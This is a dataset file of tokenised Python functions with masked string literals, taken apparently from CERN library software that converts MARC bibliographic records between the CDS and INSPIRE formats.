{"signature": "def add_systemnumber(self, source, recid=None):", "body": "if not recid:<EOL><INDENT>recid = self.get_recid()<EOL><DEDENT>if not self.hidden and recid:<EOL><INDENT>record_add_field(<EOL>self.record,<EOL>tag='<STR_LIT>',<EOL>subfields=[('<STR_LIT>', source), ('<STR_LIT:a>', recid)]<EOL>)<EOL><DEDENT>", "docstring": "Add 035 number from 001 recid with given source.", "id": "f7924:c0:m14"}
{"signature": "def add_control_number(self, tag, value):", "body": "record_add_field(self.record,<EOL>tag,<EOL>controlfield_value=value)<EOL>", "docstring": "Add a control-number 00x for given tag with value.", "id": "f7924:c0:m15"}
{"signature": "def update_subject_categories(self, primary, secondary, kb):", "body": "category_fields = record_get_field_instances(self.record,<EOL>tag='<STR_LIT>',<EOL>ind1='<STR_LIT:1>',<EOL>ind2='<STR_LIT>')<EOL>record_delete_fields(self.record, \"<STR_LIT>\")<EOL>for field in category_fields:<EOL><INDENT>for idx, (key, value) in enumerate(field[<NUM_LIT:0>]):<EOL><INDENT>if key == '<STR_LIT:a>':<EOL><INDENT>new_value = self.get_config_item(value, kb)<EOL>if new_value != value:<EOL><INDENT>new_subs = [('<STR_LIT:2>', secondary), ('<STR_LIT:a>', new_value)]<EOL><DEDENT>else:<EOL><INDENT>new_subs = [('<STR_LIT:2>', primary), ('<STR_LIT:a>', value)]<EOL><DEDENT>record_add_field(self.record, \"<STR_LIT>\", ind1=\"<STR_LIT:1>\", ind2=\"<STR_LIT>\",<EOL>subfields=new_subs)<EOL>break<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "650 Translate Categories.", "id": "f7924:c0:m16"}
{"signature": "def update_languages(self):", "body": "language_fields = record_get_field_instances(self.record, '<STR_LIT>')<EOL>record_delete_fields(self.record, \"<STR_LIT>\")<EOL>for field in language_fields:<EOL><INDENT>subs = field_get_subfields(field)<EOL>if '<STR_LIT:a>' in subs:<EOL><INDENT>if \"<STR_LIT>\" in subs['<STR_LIT:a>']:<EOL><INDENT>continue<EOL><DEDENT>new_value = self.get_config_item(subs['<STR_LIT:a>'][<NUM_LIT:0>], \"<STR_LIT>\")<EOL>new_subs = [('<STR_LIT:a>', new_value)]<EOL>record_add_field(self.record, \"<STR_LIT>\", subfields=new_subs)<EOL><DEDENT><DEDENT>", "docstring": "041 Language.", "id": "f7924:c0:m17"}
{"signature": "def __init__(self, bibrec, strip_fields_list=None):", "body": "super(CDS2Inspire, self).__init__(bibrec, strip_fields_list)<EOL>self.collections = set([])<EOL>", "docstring": "Create.", "id": "f7925:c0:m0"}
{"signature": "def get_record(self):", "body": "self.update_system_numbers()<EOL>self.add_systemnumber(\"<STR_LIT>\")<EOL>self.fields_list = [<EOL>\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT:100>\",<EOL>\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\",<EOL>\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\",<EOL>\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\",<EOL>\"<STR_LIT>\"<EOL>]<EOL>self.keep_only_fields()<EOL>self.determine_collections()<EOL>self.add_cms_link()<EOL>self.update_languages()<EOL>self.update_reportnumbers()<EOL>self.update_date()<EOL>self.update_pagenumber()<EOL>self.update_authors()<EOL>self.update_subject_categories(\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\")<EOL>self.update_keywords()<EOL>self.update_experiments()<EOL>self.update_collaboration()<EOL>self.update_journals()<EOL>self.update_links_and_ffts()<EOL>if '<STR_LIT>' in self.collections:<EOL><INDENT>self.update_thesis_supervisors()<EOL>self.update_thesis_information()<EOL><DEDENT>if '<STR_LIT>' in self.collections:<EOL><INDENT>self.add_notes()<EOL><DEDENT>for collection in self.collections:<EOL><INDENT>record_add_field(self.record,<EOL>tag='<STR_LIT>',<EOL>subfields=[('<STR_LIT:a>', collection)])<EOL><DEDENT>self.remove_controlfields()<EOL>return self.record<EOL>", "docstring": "Override the base get_record.", "id": "f7925:c0:m1"}
{"signature": "def determine_collections(self):", "body": "for value in record_get_field_values(self.record, '<STR_LIT>', code='<STR_LIT:a>'):<EOL><INDENT>if '<STR_LIT>' in value.upper():<EOL><INDENT>self.collections.add('<STR_LIT>')<EOL><DEDENT>if '<STR_LIT>' in value.upper():<EOL><INDENT>self.collections.add('<STR_LIT>')<EOL><DEDENT>if '<STR_LIT>' in value.upper():<EOL><INDENT>self.collections.add('<STR_LIT>')<EOL><DEDENT>if \"<STR_LIT>\" in value.upper():<EOL><INDENT>self.hidden = True<EOL><DEDENT><DEDENT>if self.is_published():<EOL><INDENT>self.collections.add(\"<STR_LIT>\")<EOL>self.collections.add(\"<STR_LIT>\")<EOL><DEDENT>if '<STR_LIT>' not in self.collections:<EOL><INDENT>from itertools import product<EOL>kb = ['<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>',<EOL>'<STR_LIT>', '<STR_LIT>']<EOL>values = record_get_field_values(self.record, \"<STR_LIT>\", code='<STR_LIT:a>')<EOL>for val, rep in product(values, kb):<EOL><INDENT>if val.startswith(rep):<EOL><INDENT>self.collections.add('<STR_LIT>')<EOL>break<EOL><DEDENT><DEDENT><DEDENT>if record_get_field_values(self.record, '<STR_LIT>',<EOL>filter_subfield_code=\"<STR_LIT:a>\",<EOL>filter_subfield_value=\"<STR_LIT>\"):<EOL><INDENT>self.collections.add(\"<STR_LIT>\")<EOL><DEDENT>self.collections.add('<STR_LIT>')<EOL>self.collections.add('<STR_LIT>')<EOL>if '<STR_LIT>' not in self.collections:<EOL><INDENT>for value in record_get_field_values(self.record,<EOL>tag='<STR_LIT>',<EOL>code='<STR_LIT:n>'):<EOL><INDENT>if value[-<NUM_LIT:2>:].isdigit():<EOL><INDENT>self.collections.add('<STR_LIT>')<EOL>break<EOL><DEDENT><DEDENT><DEDENT>record_delete_fields(self.record, \"<STR_LIT>\")<EOL>", "docstring": "Try to determine which collections this record should belong to.", "id": "f7925:c0:m2"}
{"signature": "def is_published(self):", "body": "field980 = record_get_field_instances(self.record, '<STR_LIT>')<EOL>field773 = record_get_field_instances(self.record, '<STR_LIT>')<EOL>for f980 in field980:<EOL><INDENT>if '<STR_LIT:a>' in field_get_subfields(f980):<EOL><INDENT>for f773 in field773:<EOL><INDENT>if '<STR_LIT:p>' in field_get_subfields(f773):<EOL><INDENT>return True<EOL><DEDENT><DEDENT><DEDENT><DEDENT>return False<EOL>", "docstring": "Check fields 980 and 773 to see if the record has already been published.\n\n        :return: True is published, else False", "id": "f7925:c0:m3"}
{"signature": "def add_cms_link(self):", "body": "intnote = record_get_field_values(self.record, '<STR_LIT>',<EOL>filter_subfield_code=\"<STR_LIT:a>\",<EOL>filter_subfield_value='<STR_LIT>')<EOL>if intnote:<EOL><INDENT>val_088 = record_get_field_values(self.record,<EOL>tag='<STR_LIT>',<EOL>filter_subfield_code=\"<STR_LIT:a>\")<EOL>for val in val_088:<EOL><INDENT>if '<STR_LIT>' in val:<EOL><INDENT>url = ('<STR_LIT>' +<EOL>val.split('<STR_LIT>', <NUM_LIT:1>)[-<NUM_LIT:1>])<EOL>record_add_field(self.record,<EOL>tag='<STR_LIT>',<EOL>ind1='<STR_LIT:4>',<EOL>subfields=[('<STR_LIT:u>', url)])<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "Special handling if record is a CMS NOTE.", "id": "f7925:c0:m4"}
{"signature": "def update_system_numbers(self):", "body": "scn_035_fields = record_get_field_instances(self.record, '<STR_LIT>')<EOL>forbidden_values = [\"<STR_LIT>\",<EOL>\"<STR_LIT>\",<EOL>\"<STR_LIT>\",<EOL>\"<STR_LIT>\",<EOL>\"<STR_LIT>\",<EOL>\"<STR_LIT>\"]<EOL>for field in scn_035_fields:<EOL><INDENT>subs = field_get_subfields(field)<EOL>if '<STR_LIT>' in subs:<EOL><INDENT>if '<STR_LIT:a>' not in subs:<EOL><INDENT>continue<EOL><DEDENT>for sub in subs['<STR_LIT>']:<EOL><INDENT>if sub.lower() in forbidden_values:<EOL><INDENT>break<EOL><DEDENT><DEDENT>else:<EOL><INDENT>suffixes = [s.lower() for s in subs['<STR_LIT>']]<EOL>if '<STR_LIT>' in suffixes:<EOL><INDENT>new_subs = [('<STR_LIT:a>', '<STR_LIT>' % subs['<STR_LIT:a>'][<NUM_LIT:0>])]<EOL>record_add_field(<EOL>self.record, '<STR_LIT>', subfields=new_subs)<EOL>continue<EOL><DEDENT><DEDENT><DEDENT>if '<STR_LIT:a>' in subs:<EOL><INDENT>for sub in subs['<STR_LIT:a>']:<EOL><INDENT>if sub.lower() in forbidden_values:<EOL><INDENT>record_delete_field(self.record, tag=\"<STR_LIT>\",<EOL>field_position_global=field[<NUM_LIT:4>])<EOL><DEDENT><DEDENT><DEDENT><DEDENT>", "docstring": "035 Externals.", "id": "f7925:c0:m5"}
{"signature": "def update_reportnumbers(self):", "body": "rep_088_fields = record_get_field_instances(self.record, '<STR_LIT>')<EOL>for field in rep_088_fields:<EOL><INDENT>subs = field_get_subfields(field)<EOL>if '<STR_LIT>' in subs:<EOL><INDENT>for val in subs['<STR_LIT>']:<EOL><INDENT>if val.startswith('<STR_LIT>') or val.startswith('<STR_LIT>'):<EOL><INDENT>sf = [('<STR_LIT>', '<STR_LIT>'), ('<STR_LIT:b>', val)]<EOL>record_add_field(self.record, '<STR_LIT>', subfields=sf)<EOL><DEDENT><DEDENT><DEDENT>for key, val in field[<NUM_LIT:0>]:<EOL><INDENT>if key in ['<STR_LIT:a>', '<STR_LIT>'] and not val.startswith('<STR_LIT>'):<EOL><INDENT>record_add_field(<EOL>self.record, '<STR_LIT>', subfields=[('<STR_LIT:a>', val)])<EOL><DEDENT><DEDENT><DEDENT>record_delete_fields(self.record, \"<STR_LIT>\")<EOL>rep_037_fields = record_get_field_instances(self.record, '<STR_LIT>')<EOL>for field in rep_037_fields:<EOL><INDENT>subs = field_get_subfields(field)<EOL>if '<STR_LIT:a>' in subs:<EOL><INDENT>for value in subs['<STR_LIT:a>']:<EOL><INDENT>if '<STR_LIT>' in value:<EOL><INDENT>new_subs = [('<STR_LIT:a>', value), ('<STR_LIT>', '<STR_LIT>')]<EOL>for fld in record_get_field_instances(self.record,  '<STR_LIT>'):<EOL><INDENT>for key, val in field_get_subfield_instances(fld):<EOL><INDENT>if key == '<STR_LIT:a>':<EOL><INDENT>new_subs.append(('<STR_LIT:c>', val))<EOL>break<EOL><DEDENT><DEDENT><DEDENT>nf = create_field(subfields=new_subs)<EOL>record_replace_field(self.record, '<STR_LIT>', nf, field[<NUM_LIT:4>])<EOL><DEDENT><DEDENT><DEDENT>for key, val in field[<NUM_LIT:0>]:<EOL><INDENT>if key in ['<STR_LIT:a>', '<STR_LIT>'] and val.startswith('<STR_LIT>'):<EOL><INDENT>record_delete_field(<EOL>self.record, '<STR_LIT>', field_position_global=field[<NUM_LIT:4>])<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "Handle reportnumbers.", "id": "f7925:c0:m6"}
{"signature": "def update_date(self):", "body": "for field in record_get_field_instances(self.record, '<STR_LIT>'):<EOL><INDENT>for idx, (key, value) in enumerate(field[<NUM_LIT:0>]):<EOL><INDENT>if key == \"<STR_LIT:c>\":<EOL><INDENT>field[<NUM_LIT:0>][idx] = (\"<STR_LIT:c>\", convert_date_to_iso(value))<EOL>record_delete_fields(self.record, \"<STR_LIT>\")<EOL><DEDENT><DEDENT><DEDENT>if '<STR_LIT>' not in self.collections:<EOL><INDENT>for field in record_get_field_instances(self.record, '<STR_LIT>'):<EOL><INDENT>record_add_field(self.record, '<STR_LIT>', subfields=field[<NUM_LIT:0>])<EOL><DEDENT>record_delete_fields(self.record, '<STR_LIT>')<EOL><DEDENT>", "docstring": "269 Date normalization.", "id": "f7925:c0:m7"}
{"signature": "def update_pagenumber(self):", "body": "for field in record_get_field_instances(self.record, '<STR_LIT>'):<EOL><INDENT>for idx, (key, value) in enumerate(field[<NUM_LIT:0>]):<EOL><INDENT>if key == '<STR_LIT:a>':<EOL><INDENT>if \"<STR_LIT>\" not in value and value != \"<STR_LIT>\":<EOL><INDENT>field[<NUM_LIT:0>][idx] = ('<STR_LIT:a>', re.sub(r'<STR_LIT>', '<STR_LIT>', value))<EOL><DEDENT>else:<EOL><INDENT>record_delete_field(self.record, '<STR_LIT>',<EOL>field_position_global=field[<NUM_LIT:4>])<EOL>break<EOL><DEDENT><DEDENT><DEDENT><DEDENT>", "docstring": "300 page number.", "id": "f7925:c0:m8"}
{"signature": "def update_authors(self):", "body": "author_names = record_get_field_instances(self.record, '<STR_LIT:100>')<EOL>author_names.extend(record_get_field_instances(self.record, '<STR_LIT>'))<EOL>for field in author_names:<EOL><INDENT>subs = field_get_subfields(field)<EOL>if '<STR_LIT:i>' not in subs or '<STR_LIT>' in subs['<STR_LIT:i>']:<EOL><INDENT>if '<STR_LIT>' not in subs or '<STR_LIT>' in subs['<STR_LIT>']:<EOL><INDENT>for idx, (key, value) in enumerate(field[<NUM_LIT:0>]):<EOL><INDENT>if key == '<STR_LIT:a>':<EOL><INDENT>field[<NUM_LIT:0>][idx] = ('<STR_LIT:a>', punctuate_authorname(value))<EOL><DEDENT><DEDENT><DEDENT><DEDENT><DEDENT>", "docstring": "100 & 700 punctuate author names.", "id": "f7925:c0:m9"}
{"signature": "def update_thesis_supervisors(self):", "body": "for field in record_get_field_instances(self.record, '<STR_LIT>'):<EOL><INDENT>record_add_field(self.record, '<STR_LIT>', subfields=field[<NUM_LIT:0>])<EOL><DEDENT>record_delete_fields(self.record, '<STR_LIT>')<EOL>", "docstring": "700 -> 701 Thesis supervisors.", "id": "f7925:c0:m10"}
{"signature": "def update_thesis_information(self):", "body": "fields_501 = record_get_field_instances(self.record, '<STR_LIT>')<EOL>for idx, field in enumerate(fields_501):<EOL><INDENT>new_subs = []<EOL>for key, value in field[<NUM_LIT:0>]:<EOL><INDENT>if key == '<STR_LIT:a>':<EOL><INDENT>new_subs.append(('<STR_LIT:b>', value))<EOL><DEDENT>elif key == '<STR_LIT:b>':<EOL><INDENT>new_subs.append(('<STR_LIT:c>', value))<EOL><DEDENT>elif key == '<STR_LIT:c>':<EOL><INDENT>new_subs.append(('<STR_LIT:d>', value))<EOL><DEDENT>else:<EOL><INDENT>new_subs.append((key, value))<EOL><DEDENT><DEDENT>fields_501[idx] = field_swap_subfields(field, new_subs)<EOL><DEDENT>", "docstring": "501 degree info - move subfields.", "id": "f7925:c0:m11"}
{"signature": "def update_keywords(self):", "body": "for field in record_get_field_instances(self.record, '<STR_LIT>', ind1='<STR_LIT:1>'):<EOL><INDENT>subs = field_get_subfields(field)<EOL>new_subs = []<EOL>if '<STR_LIT:a>' in subs:<EOL><INDENT>for val in subs['<STR_LIT:a>']:<EOL><INDENT>new_subs.extend([('<STR_LIT>', '<STR_LIT>'), ('<STR_LIT:a>', val)])<EOL><DEDENT><DEDENT>new_field = create_field(subfields=new_subs, ind1='<STR_LIT:1>')<EOL>record_replace_field(<EOL>self.record, '<STR_LIT>', new_field, field_position_global=field[<NUM_LIT:4>])<EOL><DEDENT>", "docstring": "653 Free Keywords.", "id": "f7925:c0:m12"}
{"signature": "def update_experiments(self):", "body": "<EOL>for field in record_get_field_instances(self.record, '<STR_LIT>'):<EOL><INDENT>subs = field_get_subfields(field)<EOL>all_subs = subs.get('<STR_LIT:a>', []) + subs.get('<STR_LIT:e>', [])<EOL>if '<STR_LIT>' in [x.lower() for x in all_subs]:<EOL><INDENT>record_delete_field(self.record, '<STR_LIT>',<EOL>field_position_global=field[<NUM_LIT:4>])<EOL><DEDENT>new_subs = []<EOL>experiment_a = \"<STR_LIT>\"<EOL>experiment_e = \"<STR_LIT>\"<EOL>for (key, value) in subs.iteritems():<EOL><INDENT>if key == '<STR_LIT:a>':<EOL><INDENT>experiment_a = value[<NUM_LIT:0>]<EOL>new_subs.append((key, value[<NUM_LIT:0>]))<EOL><DEDENT>elif key == '<STR_LIT:e>':<EOL><INDENT>experiment_e = value[<NUM_LIT:0>]<EOL><DEDENT><DEDENT>experiment = \"<STR_LIT>\" % (experiment_a.replace(\"<STR_LIT:U+0020>\", \"<STR_LIT:->\"),<EOL>experiment_e)<EOL>translated_experiments = self.get_config_item(experiment,<EOL>\"<STR_LIT>\")<EOL>new_subs.append((\"<STR_LIT:e>\", translated_experiments))<EOL>record_delete_field(self.record, tag=\"<STR_LIT>\",<EOL>field_position_global=field[<NUM_LIT:4>])<EOL>record_add_field(self.record, \"<STR_LIT>\", subfields=new_subs)<EOL><DEDENT>", "docstring": "Experiment mapping.", "id": "f7925:c0:m13"}
{"signature": "def update_collaboration(self):", "body": "for field in record_get_field_instances(self.record, '<STR_LIT>'):<EOL><INDENT>subs = field_get_subfield_instances(field)<EOL>for idx, (key, value) in enumerate(subs[:]):<EOL><INDENT>if key == '<STR_LIT:5>':<EOL><INDENT>subs.pop(idx)<EOL><DEDENT>elif value.startswith('<STR_LIT>'):<EOL><INDENT>subs.pop(idx)<EOL><DEDENT><DEDENT>if len(subs) == <NUM_LIT:0>:<EOL><INDENT>record_delete_field(self.record,<EOL>tag='<STR_LIT>',<EOL>field_position_global=field[<NUM_LIT:4>])<EOL><DEDENT><DEDENT>", "docstring": "710 Collaboration.", "id": "f7925:c0:m14"}
{"signature": "def update_journals(self):", "body": "for field in record_get_field_instances(self.record, '<STR_LIT>'):<EOL><INDENT>subs = field_get_subfield_instances(field)<EOL>new_subs = []<EOL>for idx, (key, value) in enumerate(subs):<EOL><INDENT>if key == '<STR_LIT:p>':<EOL><INDENT>journal_name = self.get_config_item(value, \"<STR_LIT>\", allow_substring=False)<EOL>journal_name = journal_name.replace('<STR_LIT>', '<STR_LIT:.>').strip()<EOL>new_subs.append((key, journal_name))<EOL><DEDENT>else:<EOL><INDENT>new_subs.append((key, value))<EOL><DEDENT><DEDENT>record_delete_field(self.record, tag=\"<STR_LIT>\",<EOL>field_position_global=field[<NUM_LIT:4>])<EOL>record_add_field(self.record, \"<STR_LIT>\", subfields=new_subs)<EOL><DEDENT>", "docstring": "773 journal translations.", "id": "f7925:c0:m15"}
{"signature": "def update_links_and_ffts(self):", "body": "figure_counter = <NUM_LIT:0><EOL>for field in record_get_field_instances(self.record,<EOL>tag='<STR_LIT>',<EOL>ind1='<STR_LIT:4>'):<EOL><INDENT>subs = field_get_subfields(field)<EOL>newsubs = []<EOL>remove = False<EOL>if '<STR_LIT:z>' in subs:<EOL><INDENT>is_figure = [s for s in subs['<STR_LIT:z>'] if \"<STR_LIT>\" in s.lower()]<EOL>if is_figure and '<STR_LIT:u>' in subs:<EOL><INDENT>is_subformat = [<EOL>s for s in subs['<STR_LIT:u>'] if \"<STR_LIT>\" in s.lower()]<EOL>if not is_subformat:<EOL><INDENT>url = subs['<STR_LIT:u>'][<NUM_LIT:0>]<EOL>if url.endswith(\"<STR_LIT>\"):<EOL><INDENT>fd, local_url = mkstemp(suffix=os.path.basename(url))<EOL>os.close(fd)<EOL>self.logger.info(<EOL>\"<STR_LIT>\" % (url, local_url))<EOL>plotfile = \"<STR_LIT>\"<EOL>try:<EOL><INDENT>plotfile = download_file(url=url,<EOL>download_to_file=local_url)<EOL><DEDENT>except Exception as e:<EOL><INDENT>self.logger.exception(e)<EOL>remove = True<EOL><DEDENT>if plotfile:<EOL><INDENT>converted = convert_images([plotfile])<EOL>if converted:<EOL><INDENT>url = converted.pop()<EOL>msg = \"<STR_LIT>\"% (local_url, url)<EOL>self.logger.info(msg)<EOL><DEDENT>else:<EOL><INDENT>msg = \"<STR_LIT>\"% (local_url,)<EOL>self.logger.error(msg)<EOL>url = None<EOL>remove = True<EOL><DEDENT><DEDENT><DEDENT>if url:<EOL><INDENT>newsubs.append(('<STR_LIT:a>', url))<EOL>newsubs.append(('<STR_LIT:t>', '<STR_LIT>'))<EOL>figure_counter += <NUM_LIT:1><EOL>if '<STR_LIT:y>' in subs:<EOL><INDENT>newsubs.append(<EOL>('<STR_LIT:d>', \"<STR_LIT>\" % (figure_counter, subs['<STR_LIT:y>'][<NUM_LIT:0>])))<EOL>newsubs.append(('<STR_LIT:n>', subs['<STR_LIT:y>'][<NUM_LIT:0>]))<EOL><DEDENT>else:<EOL><INDENT>name = os.path.basename(<EOL>os.path.splitext(subs['<STR_LIT:u>'][<NUM_LIT:0>])[<NUM_LIT:0>])<EOL>newsubs.append(<EOL>('<STR_LIT:d>', \"<STR_LIT>\" % (figure_counter, name)))<EOL>newsubs.append(('<STR_LIT:n>', name))<EOL><DEDENT><DEDENT><DEDENT><DEDENT><DEDENT>if not newsubs and '<STR_LIT:u>' in subs:<EOL><INDENT>is_fulltext = [s for s in subs['<STR_LIT:u>'] if \"<STR_LIT>\" in s]<EOL>if is_fulltext:<EOL><INDENT>newsubs = [('<STR_LIT:t>', '<STR_LIT>'), ('<STR_LIT:a>', subs['<STR_LIT:u>'][<NUM_LIT:0>])]<EOL><DEDENT><DEDENT>if not newsubs and '<STR_LIT:u>' in subs:<EOL><INDENT>remove = True<EOL>is_zipfile = [s for s in subs['<STR_LIT:u>'] if \"<STR_LIT>\" in s]<EOL>if is_zipfile:<EOL><INDENT>url = is_zipfile[<NUM_LIT:0>]<EOL>local_url = os.path.join(self.get_local_folder(), os.path.basename(url))<EOL>self.logger.info(\"<STR_LIT>\" %<EOL>(url, local_url))<EOL>zipped_archive = \"<STR_LIT>\"<EOL>try:<EOL><INDENT>zipped_archive = download_file(url=is_zipfile[<NUM_LIT:0>],<EOL>download_to_file=local_url)<EOL><DEDENT>except Exception as e:<EOL><INDENT>self.logger.exception(e)<EOL>remove = True<EOL><DEDENT>if zipped_archive:<EOL><INDENT>unzipped_archive = unzip(zipped_archive)<EOL>list_of_pngs = locate(\"<STR_LIT>\", unzipped_archive)<EOL>for png in list_of_pngs:<EOL><INDENT>if \"<STR_LIT>\" in png or \"<STR_LIT>\" in png:<EOL><INDENT>continue<EOL><DEDENT>figure_counter += <NUM_LIT:1><EOL>plotsubs = []<EOL>plotsubs.append(('<STR_LIT:a>', png))<EOL>caption = '<STR_LIT>' % (<EOL>figure_counter, os.path.basename(png))<EOL>plotsubs.append(('<STR_LIT:d>', caption))<EOL>plotsubs.append(('<STR_LIT:t>', '<STR_LIT>'))<EOL>record_add_field(<EOL>self.record, '<STR_LIT>', subfields=plotsubs)<EOL><DEDENT><DEDENT><DEDENT><DEDENT>if not remove and not newsubs and '<STR_LIT:u>' in subs:<EOL><INDENT>urls = ('<STR_LIT>', '<STR_LIT>',<EOL>'<STR_LIT>', '<STR_LIT>',<EOL>'<STR_LIT>', '<STR_LIT>')<EOL>for val in subs['<STR_LIT:u>']:<EOL><INDENT>if any(url in val for url in urls):<EOL><INDENT>remove = True<EOL>break<EOL><DEDENT>if val.endswith('<STR_LIT>'):<EOL><INDENT>remove = True<EOL><DEDENT><DEDENT><DEDENT>if newsubs:<EOL><INDENT>record_add_field(self.record, '<STR_LIT>', subfields=newsubs)<EOL>remove = True<EOL><DEDENT>if remove:<EOL><INDENT>record_delete_field(self.record, '<STR_LIT>', ind1='<STR_LIT:4>',<EOL>field_position_global=field[<NUM_LIT:4>])<EOL><DEDENT><DEDENT>", "docstring": "FFT (856) Dealing with graphs.", "id": "f7925:c0:m16"}
{"signature": "def add_notes(self):", "body": "subs = [('<STR_LIT:a>', \"<STR_LIT>\")]<EOL>record_add_field(self.record, \"<STR_LIT>\", subfields=subs)<EOL>", "docstring": "500 - Preliminary results.", "id": "f7925:c0:m17"}
{"signature": "def __init__(self, bibrec, strip_fields_list=None):", "body": "super(Inspire2CDS, self).__init__(bibrec, strip_fields_list)<EOL>self.collections = set([])<EOL>self.tag_as_cern = False<EOL>self.collection_base = {<EOL>\"<STR_LIT>\": \"<STR_LIT>\",<EOL>\"<STR_LIT>\": \"<STR_LIT>\",<EOL>\"<STR_LIT>\": \"<STR_LIT>\",<EOL>\"<STR_LIT>\": \"<STR_LIT>\",<EOL>\"<STR_LIT>\": \"<STR_LIT>\",<EOL>}<EOL>self.recid = None<EOL>self.conference_recid = None<EOL>self.conference_codes = None<EOL>self.conference_pages = None<EOL>", "docstring": "Create.", "id": "f7926:c0:m0"}
{"signature": "def get_record(self):", "body": "self.recid = self.get_recid()<EOL>self.remove_controlfields()<EOL>self.update_system_numbers()<EOL>self.add_systemnumber(\"<STR_LIT>\", recid=self.recid)<EOL>self.add_control_number(\"<STR_LIT>\", \"<STR_LIT>\")<EOL>self.update_collections()<EOL>self.update_languages()<EOL>self.update_reportnumbers()<EOL>self.update_authors()<EOL>self.update_journals()<EOL>self.update_subject_categories(\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\")<EOL>self.update_pagenumber()<EOL>self.update_notes()<EOL>self.update_experiments()<EOL>self.update_isbn()<EOL>self.update_dois()<EOL>self.update_links_and_ffts()<EOL>self.update_date()<EOL>self.update_date_year()<EOL>self.update_hidden_notes()<EOL>self.update_oai_info()<EOL>self.update_cnum()<EOL>self.update_conference_info()<EOL>self.fields_list = [<EOL>\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\",<EOL>\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\",<EOL>\"<STR_LIT>\",<EOL>]<EOL>self.strip_fields()<EOL>if \"<STR_LIT>\" in self.collections:<EOL><INDENT>self.update_conference_111()<EOL>self.update_conference_links()<EOL>record_add_field(self.record, \"<STR_LIT>\", ind1=\"<STR_LIT:C>\", subfields=[(\"<STR_LIT:a>\", \"<STR_LIT>\")])<EOL><DEDENT>if \"<STR_LIT>\" in self.collections:<EOL><INDENT>self.update_thesis_information()<EOL>self.update_thesis_supervisors()<EOL><DEDENT>if \"<STR_LIT>\" in self.collections:<EOL><INDENT>self.update_title_to_proceeding()<EOL>self.update_author_to_proceeding()<EOL>record_add_field(self.record, \"<STR_LIT>\", ind1=\"<STR_LIT:C>\", subfields=[(\"<STR_LIT:a>\", \"<STR_LIT>\")])<EOL><DEDENT>if self.tag_as_cern:<EOL><INDENT>record_add_field(self.record, \"<STR_LIT>\", ind1=\"<STR_LIT:C>\", subfields=[(\"<STR_LIT:a>\", \"<STR_LIT>\")])<EOL><DEDENT>return self.record<EOL>", "docstring": "Override the base.", "id": "f7926:c0:m5"}
{"signature": "def update_oai_info(self):", "body": "for field in record_get_field_instances(self.record, '<STR_LIT>', ind1=\"<STR_LIT:C>\", ind2=\"<STR_LIT:O>\"):<EOL><INDENT>new_subs = []<EOL>for tag, value in field[<NUM_LIT:0>]:<EOL><INDENT>if tag == \"<STR_LIT:o>\":<EOL><INDENT>new_subs.append((\"<STR_LIT:a>\", value))<EOL><DEDENT>else:<EOL><INDENT>new_subs.append((tag, value))<EOL><DEDENT>if value in [\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\"]:<EOL><INDENT>self.tag_as_cern = True<EOL><DEDENT><DEDENT>record_add_field(self.record, '<STR_LIT>', ind1=\"<STR_LIT>\", subfields=new_subs)<EOL><DEDENT>record_delete_fields(self.record, '<STR_LIT>')<EOL>", "docstring": "Add the 909 OAI info to 035.", "id": "f7926:c0:m6"}
{"signature": "def update_cnum(self):", "body": "if \"<STR_LIT>\" not in self.collections:<EOL><INDENT>cnums = record_get_field_values(self.record, '<STR_LIT>', code=\"<STR_LIT:w>\")<EOL>for cnum in cnums:<EOL><INDENT>cnum_subs = [<EOL>(\"<STR_LIT>\", \"<STR_LIT>\"),<EOL>(\"<STR_LIT:a>\", cnum)<EOL>]<EOL>record_add_field(self.record, \"<STR_LIT>\", subfields=cnum_subs)<EOL><DEDENT><DEDENT>", "docstring": "Check if we shall add cnum in 035.", "id": "f7926:c0:m7"}
{"signature": "def update_hidden_notes(self):", "body": "if not self.tag_as_cern:<EOL><INDENT>notes = record_get_field_instances(self.record,<EOL>tag=\"<STR_LIT>\")<EOL>for field in notes:<EOL><INDENT>for dummy, value in field[<NUM_LIT:0>]:<EOL><INDENT>if value == \"<STR_LIT>\":<EOL><INDENT>self.tag_as_cern = True<EOL><DEDENT><DEDENT><DEDENT><DEDENT>record_delete_fields(self.record, tag=\"<STR_LIT>\")<EOL>", "docstring": "Remove hidden notes and tag a CERN if detected.", "id": "f7926:c0:m8"}
{"signature": "def update_system_numbers(self):", "body": "scn_035_fields = record_get_field_instances(self.record, '<STR_LIT>')<EOL>new_fields = []<EOL>for field in scn_035_fields:<EOL><INDENT>subs = field_get_subfields(field)<EOL>if '<STR_LIT>' in subs:<EOL><INDENT>if subs['<STR_LIT>'][<NUM_LIT:0>].lower() == \"<STR_LIT>\" and subs.get('<STR_LIT:a>'):<EOL><INDENT>self.add_control_number(\"<STR_LIT>\", subs.get('<STR_LIT:a>')[<NUM_LIT:0>])<EOL><DEDENT>if subs['<STR_LIT>'][<NUM_LIT:0>].lower() in [\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\"]:<EOL><INDENT>continue<EOL><DEDENT><DEDENT>new_fields.append(field_get_subfield_instances(field))<EOL><DEDENT>record_delete_fields(self.record, tag=\"<STR_LIT>\")<EOL>for field in new_fields:<EOL><INDENT>record_add_field(self.record, tag=\"<STR_LIT>\", subfields=field)<EOL><DEDENT>", "docstring": "035 Externals.", "id": "f7926:c0:m9"}
